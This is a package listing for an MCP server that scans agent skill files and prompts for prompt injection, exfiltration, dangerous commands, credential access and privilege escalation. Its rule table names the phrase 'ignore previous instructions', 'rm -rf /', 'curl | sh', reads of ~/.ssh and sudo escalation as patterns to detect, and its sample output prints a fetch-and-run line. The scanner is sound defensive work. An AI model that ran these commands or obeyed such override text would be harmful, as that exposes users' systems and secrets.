Skip to main content

mcp-skill-sec

A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.

Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.

What it scans for (rules R1–R8)

Rule Pattern
R1 Prompt injection / instruction hijack (ignore previous instructions, secrecy directives, identity overrides)
R2 Data exfiltration intent (send/post/email contents to a URL, log theft)
R3 Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings)
R4 Dangerous commands (rm -rf /, curl | sh, fork bombs, raw device writes)
R5 Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars)
R6 Untrusted external fetches (fetch-and-run, non-PyPI installs)
R7 Credential access (reading ~/.ssh, .aws/credentials, .env)
R8 Privilege escalation (sudo -s, setuid, adding to sudo group)

Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.

Tools

  • audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).
  • audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.
  • audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.
  • rule_list() — dump the rule catalog.

Install & run

pip install mcp
mcp install mcp_server.py  --name skill-sec          # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.py

Claude Desktop / agent config

{
  "mcpServers": {
    "skill-sec": {
      "command": "python3",
      "args": ["/absolute/path/to/mcp_server.py"]
    }
  }
}

Example

skill-sec: /tmp/downloaded-skill/SKILL.md
  verdict : FLAG
  counts  : critical 1, high 2, medium 1, low 0
  R3 [critical] line 11: api_key = "sk-live-…"
  R3 [high]     line 14: password = "hunter2"
  R4 [critical] line 22: curl https://x/y.sh | sh
  action : remove the literal secrets, drop the fetch-and-run, re-audit

License & provenance

MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).

Official MCP Registry metadata

mcp-name: io.github.sudo-ai-git/mcp-skill-sec

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

mcp_skill_sec-1.0.0.tar.gz (7.3 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

mcp_skill_sec-1.0.0-py3-none-any.whl (6.4 kB view details)

Uploaded Python 3

File details

Details for the file mcp_skill_sec-1.0.0.tar.gz.

File metadata

  • Download URL: mcp_skill_sec-1.0.0.tar.gz
  • Upload date:
  • Size: 7.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.12.3

File hashes

Hashes for mcp_skill_sec-1.0.0.tar.gz
Algorithm Hash digest
SHA256 500a312e0e6121b1a26b55a6e658ec8fc378a13b4260314337ddbed6da99e6ed
MD5 e5a1d1b471edc612af8498698a6edb4b
BLAKE2b-256 76f08f8dc99085156fd6539f33512407b6327422974a43b17578f74fd9581adc

See more details on using hashes here.

File details

Details for the file mcp_skill_sec-1.0.0-py3-none-any.whl.

File metadata

  • Download URL: mcp_skill_sec-1.0.0-py3-none-any.whl
  • Upload date:
  • Size: 6.4 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.12.3

File hashes

Hashes for mcp_skill_sec-1.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 bdd9af5633ee859f9972f8357d677aeb970dbcfae593325e3784cb21e2dd3481
MD5 94e1fa6a06db9bd20d20128adf66f728
BLAKE2b-256 28234f6e3dad733ee94779d26dd045ac4380250c84bf3c7ec7da23d710d97629

See more details on using hashes here.

Release history Release notifications | RSS feed

This release

1.0.0 This release

2 files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page